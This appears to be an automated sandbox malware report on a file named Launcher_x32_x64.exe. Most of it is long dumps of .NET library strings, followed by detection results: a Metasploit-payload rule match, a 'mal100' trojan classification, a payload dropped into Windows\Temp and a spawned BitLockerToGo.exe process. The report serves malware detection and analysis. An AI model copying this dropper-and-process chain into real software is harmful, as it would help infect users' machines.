esourcesLanguageAttributeDebuggableAttributeNullableAttributeAssemblyTitleAttributeDisableRuntimeMarshallingAttributeTargetFrameworkAttributeSupportedOSPlatformAttributeInAttributeAssemblyFileVersionAttributeAssemblyInformationalVersionAttributeAssemblyDescriptionAttributeAssemblyDefaultAliasAttributeRefSafetyRulesAttributeDefaultDllImportSearchPathsAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeSkipLocalsInitAttributeCLSCompliantAttributeLibraryImportAttributeNullableContextAttributeNullablePublicOnlyAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeVerQueryValue__lpData_native__dwHandle_native__lpdwHandle_native__lpwstrFilename_native__lpSubBlock_native__pBlock_native__puLen_native__dwLen_native__lplpBuffer_native__dwFlags_nativecchLangwLangszLangSystem.Runtime.InteropServices.MarshallingSystem.Runtime.VersioningGetFileVersionStringToStringget_IsDebug_isDebugDllImportSearchPathGetFullPathPtrToStringUnilpSubBlockpBlockdwFileFlagsMaskMarshalAppendLiteralkernel32.dllversion.dllSystem.Diagnostics.FileVersionInfo.dllILLink.Substitutions.xmlSystemBooleanpuLendwLendwStrucVersionget_FileVersion_fileVersionget_ProductVersion_productVersionSystem.ReflectionFileNotFoundExceptionget_FileDescription_fileDescriptionGetFixedFileInfoSystem.Diagnostics.FileVersionInfoGetVersionInfoInteropIFormatProviderStringBuilderlplpBufferDefaultInterpolatedStringHandlerSystem.CodeDom.CompilerUtf16StringMarshaller_fileMajor_productMajor_fileMinor_productMinor.ctormemPtrmemIntPtrSystem.DiagnosticsSystem.Runtime.InteropServicesSystem.Runtime.CompilerServicesSystem.ResourcesFxResources.System.Diagnostics.FileVersionInfo.SR.resourcesDebuggingModesdwFileFlagsdwFlagsget_LegalTrademarks_legalTrademarksget_Comments_commentsExistsObjectget_LegalCopyright_legalCopyrightSkipInitget_FileBuildPartget_ProductBuildPartget_FilePrivatePartget_ProductPrivatePar
Source: Launcher_x32_x64.exe, 00000000.00000002.1837163704.0000000011700000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: \\InternalName!\\LegalCopyright%\\OriginalFilename vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1837163704.0000000011700000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.Process.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1817127137.0000000008AF1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.ComponentModel.Primitives.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamemscordaccore.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameProject.dll0 vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1819627875.000000000AD00000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameProject.dll0 vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1821619144.000000000CE01000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Cryptography.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832560553.000000000D674000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Runtime.InteropServices.RuntimeInformation.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832560553.000000000D674000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Runtime.InteropServices.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1834617042.000000000EAB0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Principal.Windows.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1820869663.000000000CAF0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Security.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1820769827.000000000CA91000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.DiagnosticSource.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832777393.000000000D720000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1820697643.000000000CA20000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.Debug.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1820697643.000000000CA20000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.DiagnosticSource.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1834088849.000000000E5B0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.Overlapped.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832943278.000000000D7D0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Buffers.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832943278.000000000D7D0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.Concurrent.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLauncher!.exe pP vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1837223963.0000000011761000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.Process.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1822713713.000000000CFD0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Private.Uri.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1816948051.0000000006A71000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLauncher!.exe pP vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1819654142.000000000AD10000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Runtime.Serialization.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1819654142.000000000AD10000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Runtime.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1820979803.000000000CB91000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Security.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.ThreadPool.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.Timer.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1834473504.000000000EA60000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.NonGeneric.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1819406365.000000000AB50000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Http.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832370982.000000000D2C1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1820163618.000000000AF31000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Primitives.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1834316222.000000000E800000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Runtime.Intrinsics.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1820241343.000000000AF70000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.Tracing.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Claims.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1834516033.000000000EA91000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.NonGeneric.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1834104783.000000000E5C0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.NameResolution.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenamemscordaccore.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameProject.dll0 vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameMicrosoft.CSharp.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameMicrosoft.VisualBasic.Core.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameMicrosoft.VisualBasic.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameMicrosoft.Win32.Primitives.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameMicrosoft.Win32.Registry.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.AppContext.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Buffers.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Collections.Concurrent.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Collections.Immutable.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Collections.NonGeneric.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Collections.Specialized.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Collections.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.ComponentModel.Annotations.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.ComponentModel.DataAnnotations.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.ComponentModel.EventBasedAsync.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.ComponentModel.Primitives.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.ComponentModel.TypeConverter.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.ComponentModel.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Configuration.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Console.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Core.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Data.Common.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Data.DataSetExtensions.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Data.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Diagnostics.Contracts.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Diagnostics.Debug.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Diagnostics.DiagnosticSource.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Diagnostics.FileVersionInfo.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: get_OriginalFilename vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: _originalFilename vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: <GetFileVersionInfoEx>g____PInvoke\|2_0<GetFileVersionInfoSizeEx>g____PInvoke\|3_0<VerQueryValue>g____PInvoke\|4_0Span`1Kernel32UInt32<Module>HIWORDLOWORDVS_FIXEDFILEINFOSystem.IOdwFileDateLSdwFileVersionLSdwProductVersionLSdwFileDateMSdwFileVersionMSdwProductVersionMSdwFileOSVerLanguageNameWVerQueryValueWGetFileVersionInfoSizeExWGetFileVersionInfoExWlpDataAllocget_IsPatched_isPatchedIsPathFullyQualifiedAppendFormatted_fileBuildget_PrivateBuildget_IsPrivateBuild_isPrivateBuild_privateBuildget_SpecialBuildget_IsSpecialBuild_isSpecialBuild_specialBuild_productBuildAppenddwordGetPinnableReferenceFreeUnsafeGetLanguageAndCodePageGetVersionInfoForCodePagecodepageget_LanguageGetFileVersionLanguage_languagelpdwHandleFileVerLanguageNameget_FileName_fileNameget_InternalName_internalNameget_ProductName_productNameget_CompanyName_companyNameget_OriginalFilename_originalFilenamelpwstrFilenameSystem.RuntimeAppendLinedwFileTypeValueTypedwFileSubtypedwSignatureget_IsPreRelease_isPreReleaseCreate_filePrivate_productPrivateAssemblyMetadataAttributeCompilerGeneratedAttributeGeneratedCodeAttributeNeutralResourcesLanguageAttributeDebuggableAttributeNullableAttributeAssemblyTitleAttributeDisableRuntimeMarshallingAttributeTargetFrameworkAttributeSupportedOSPlatformAttributeInAttributeAssemblyFileVersionAttributeAssemblyInformationalVersionAttributeAssemblyDescriptionAttributeAssemblyDefaultAliasAttributeRefSafetyRulesAttributeDefaultDllImportSearchPathsAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeSkipLocalsInitAttributeCLSCompliantAttributeLibraryImportAttributeNullableContextAttributeNullablePublicOnlyAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeVerQueryValue__lpData_native__dwHandle_native__lpdwHandle_native__lpwstrFilename_native__lpSubBlock_native__pBlock_native__puLen_native__dwLen_native__lplpBuffer_native__dwFlags_nativecchLangwLangszLangSystem.Runtime.InteropServices.MarshallingSystem.Runtime.VersioningGetFileVersionStringToStringget_IsDebug_isDebugDllImportSearchPathGetFullPathPtrToStringUnilpSubBlockpBlockdwFileFlagsMaskMarshalAppendLiteralkernel32.dllversion.dllSystem.Diagnostics.FileVersionInfo.dllILLink.Substitutions.xmlSystemBooleanpuLendwLendwStrucVersionget_FileVersion_fileVersionget_ProductVersion_productVersionSystem.ReflectionFileNotFoundExceptionget_FileDescription_fileDescriptionGetFixedFileInfoSystem.Diagnostics.FileVersionInfoGetVersionInfoInteropIFormatProviderStringBuilderlplpBufferDefaultInterpolatedStringHandlerSystem.CodeDom.CompilerUtf16StringMarshaller_fileMajor_productMajor_fileMinor_productMinor.ctormemPtrmemIntPtrSystem.DiagnosticsSystem.Runtime.InteropServicesSystem.Runtime.CompilerServicesSystem.ResourcesFxResources.System.Diagnostics.FileVersionInfo.SR.resourcesDebuggingModesdwFileFlagsdwFlagsget_LegalTrademarks_legalTrademarksget_Comments_commentsExistsObjectget_LegalCopyright_legalCopyrightSkipInitget_FileBuildPartget_ProductBuildPartget_FilePrivatePartget_ProductPrivatePar
Source: Launcher_x32_x64.exe	Binary or memory string: \\InternalName!\\LegalCopyright%\\OriginalFilename vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Diagnostics.Process.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Diagnostics.StackTrace.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Diagnostics.TextWriterTraceListener.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Diagnostics.Tools.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Diagnostics.TraceSource.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Diagnostics.Tracing.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Drawing.Primitives.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Drawing.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Dynamic.Runtime.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Formats.Asn1.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Formats.Tar.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Globalization.Calendars.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Globalization.Extensions.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Globalization.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.Compression.Brotli.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.Compression.FileSystem.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.Compression.ZipFile.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.Compression.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.FileSystem.AccessControl.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.FileSystem.DriveInfo.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.FileSystem.Primitives.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.FileSystem.Watcher.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.FileSystem.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.IsolatedStorage.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.MemoryMappedFiles.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.Pipes.AccessControl.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.Pipes.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.UnmanagedMemoryStream.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.IO.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilenameSystem.Linq.Expressions.dll@ vs Launcher_x32_x64.exe

Source: Launcher_x32_x64.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000001.00000002.1894150698.0000000003C9E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.evad.winEXE@5/1@5/4

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

Code function: 0_2_0108CE90 FormatMessageW,GetLastError,WideCharToMultiByte,GetLastError,WideCharToMultiByte,WideCharToMultiByte,MultiByteToWideChar,MultiByteToWideChar,wcscpy_s,HeapFree,HeapFree,

0_2_0108CE90

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_0042D5B9 CoCreateInstance,SysAllocString,

3_2_0042D5B9

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

File created: C:\Windows\Temp\4ud5if5k.0ze.exe

Jump to behavior

Source: Launcher_x32_x64.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Launcher_x32_x64.exe

Virustotal: Detection: 10%

Source: Launcher_x32_x64.exe	String found in binary or memory: requests-started
Source: Launcher_x32_x64.exe	String found in binary or memory: requests-started-rate
Source: Launcher_x32_x64.exe	String found in binary or memory: overflow:hidden;img src="http://addEventListenerresponsible for s.js"></script>
Source: Launcher_x32_x64.exe	String found in binary or memory: Morph - Structs/AddrExp
Source: Launcher_x32_x64.exe	String found in binary or memory: prejitNYI: patchpoint info generationlooptail.call and not BBINSTRImportationPre-importExpand patchpointsIndirect call transformProfile instrumentation prepPost-importProfile incorporationProfile instrumentationMorph - InliningMorph - InitAllocate ObjectsMorph - Add internal blocksRemove empty finallyRemove empty tryClone finallyMerge callfinally chainsUpdate flow graph early passUpdate finally target flagsEarly livenessMorph - Structs/AddrExpForward SubstitutionPhysical promotionMorph - ByRefsIdentify candidates for implicit byref copy omissionMorph - GlobalMorph - Promote StructsGS CookieMorph - FinishTail mergeCompute edge weights (1, false)Invert loopsMerge throw blocksOptimize control flowPost-morph tail mergeCompute blocks reachabilityOptimize layoutRedundant zero InitsSet block weightsClone loopsFind loopsClear loop infoUnroll loopsHoist loop codeMorph array opsOptimize boolsMark local varsSet block orderFind oper orderSSA: topological sortBuild SSA representationSSA: livenessSSA: Doms1SSA: insert phisSSA: DFEarly Value PropagationSSA: renameOptimize index checksDo value numberingVN based copy propOptimize Valnum CSEsRedundant branch optsVN based intrinsic expansionIf conversionAssertion propUpdate flow graph opt passVN-based dead store removalStress gtSplitTreeCompute edge weights (2, false)Expand static initExpand runtime lookupsInsert GC PollsExpand TLS accessRationalize IRDetermine first cold blockLocal var livenessDo 'simple' loweringPer block local var livenessLocal var liveness initLowering decompositionGlobal local var livenessCalculate stack level slotsLowering nodeinfoLSRA build intervalsLinear scan register allocLSRA resolveLSRA allocateGenerate codePlace 'align' instructionsEmit GC+EH tablesEmit codePost-EmitJIT Compilation time report:
Source: Launcher_x32_x64.exe	String found in binary or memory: GC initialization failed with error 0x%08XVirtualAlloc2kernelbase.dllMapViewOfFile3bad array new lengthstring too longApplication root path is empty. This shouldn't happenUsing internal fxrUsing internal hostpolicy<path>--additionalprobingpath--depsfilePath containing probing policy and assemblies to probe for.--runtimeconfigPath to <application>.deps.json file.--fx-versionPath to <application>.runtimeconfig.json file.Version of the installed Shared Framework to use to run the application.<version><value>--roll-forward--additional-depsRoll forward to framework version (LatestPatch, Minor, LatestMinor, Major, LatestMajor, Disable)--roll-forward-on-no-candidate-fxPath to additional deps.json file.<obsolete><n>Parsed known arg %s = %ssdk %s %-*s %sFailed to parse supported options or their values:Application '%s' is not a managed executable.Using the provided arguments to determine the application to execute.dotnet exec needs a managed .dll or .exe extension. The application specified was '%s'Application '%s' does not exist.--- Executing in split/FX mode...The application to execute does not exist: '%s'--- Executing in muxer mode...--- Executing in a native executable mode...staticexec RID: %s
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/dotnet/download The path to an application .dll file to execute.path-to-application: --list-runtimes Display the installed runtimeshost-options:Common Options: --list-sdks Display the installed SDKs --info Display .NET information. -h\|--help Displays this help.invalid string positionvector too longinvalid hash bucket countunordered_map/set too longA fatal error occurred while processing application bundleInvalid startup info: host_path, dotnet_root, and app_path should not be null.--- Invoked %s [version: %s]hostfxr_main_bundle_startupinfohostfxr_main_startupinfoget-native-search-directories.json.dev.jsonHosting components are already initialized. Re-initialization to execute an app is not allowed.\|arch\|/\|tfm\|Ignoring host interpreted additional probing path %s as it does not exist.Runtime config is cfg=%s dev=%s\|arch\|\\|tfm\|App runtimeconfig.json from [%s]Specified runtimeconfig.json from [%s]Ignoring additional probing path %s as it does not exist.The specified runtimeconfig.json [%s] does not existDetecting mode... CoreCLR present in dotnet root [%s] and checking if [%s] file present=[%d].runtimeconfig.jsonInvalid runtimeconfig.json [%s] [%s].deps.jsonIt's invalid to use both '%s' and '%s' command line options.DOTNET_ADDITIONAL_DEPSThe specified deps.json [%s] does not existInvalid value for command line argument '%s'self-containedExecuting as a %s app as per config file [%s]HOSTFXR_PATHframework-dependent--list-sdks--list-runtimesUsing dotnet root path [%s]-?/?-h--help dotnet.dll--infoThe command could not be loaded, possibly because:
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/dotnet/download The path to an application .dll file to execute.path-to-application: --list-runtimes Display the installed runtimeshost-options:Common Options: --list-sdks Display the installed SDKs --info Display .NET information. -h\|--help Displays this help.invalid string positionvector too longinvalid hash bucket countunordered_map/set too longA fatal error occurred while processing application bundleInvalid startup info: host_path, dotnet_root, and app_path should not be null.--- Invoked %s [version: %s]hostfxr_main_bundle_startupinfohostfxr_main_startupinfoget-native-search-directories.json.dev.jsonHosting components are already initialized. Re-initialization to execute an app is not allowed.\|arch\|/\|tfm\|Ignoring host interpreted additional probing path %s as it does not exist.Runtime config is cfg=%s dev=%s\|arch\|\\|tfm\|App runtimeconfig.json from [%s]Specified runtimeconfig.json from [%s]Ignoring additional probing path %s as it does not exist.The specified runtimeconfig.json [%s] does not existDetecting mode... CoreCLR present in dotnet root [%s] and checking if [%s] file present=[%d].runtimeconfig.jsonInvalid runtimeconfig.json [%s] [%s].deps.jsonIt's invalid to use both '%s' and '%s' command line options.DOTNET_ADDITIONAL_DEPSThe specified deps.json [%s] does not existInvalid value for command line argument '%s'self-containedExecuting as a %s app as per config file [%s]HOSTFXR_PATHframework-dependent--list-sdks--list-runtimesUsing dotnet root path [%s]-?/?-h--help dotnet.dll--infoThe command could not be loaded, possibly because:
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/dotnet/app-launch-failed
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/dotnet/app-launch-failedFramework: 'The framework 'You must install .NET Desktop Runtime to run this application.You must install or update .NET to run this application.Required:

Source: unknown	Process created: C:\Users\user\Desktop\Launcher_x32_x64.exe "C:\Users\user\Desktop\Launcher_x32_x64.exe"
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Process created: C:\Windows\Temp\4ud5if5k.0ze.exe "C:\\Windows\\Temp\4ud5if5k.0ze.exe"
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Process created: C:\Windows\Temp\4ud5if5k.0ze.exe "C:\\Windows\\Temp\4ud5if5k.0ze.exe"	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: apphelp.dll	Jump to behavior
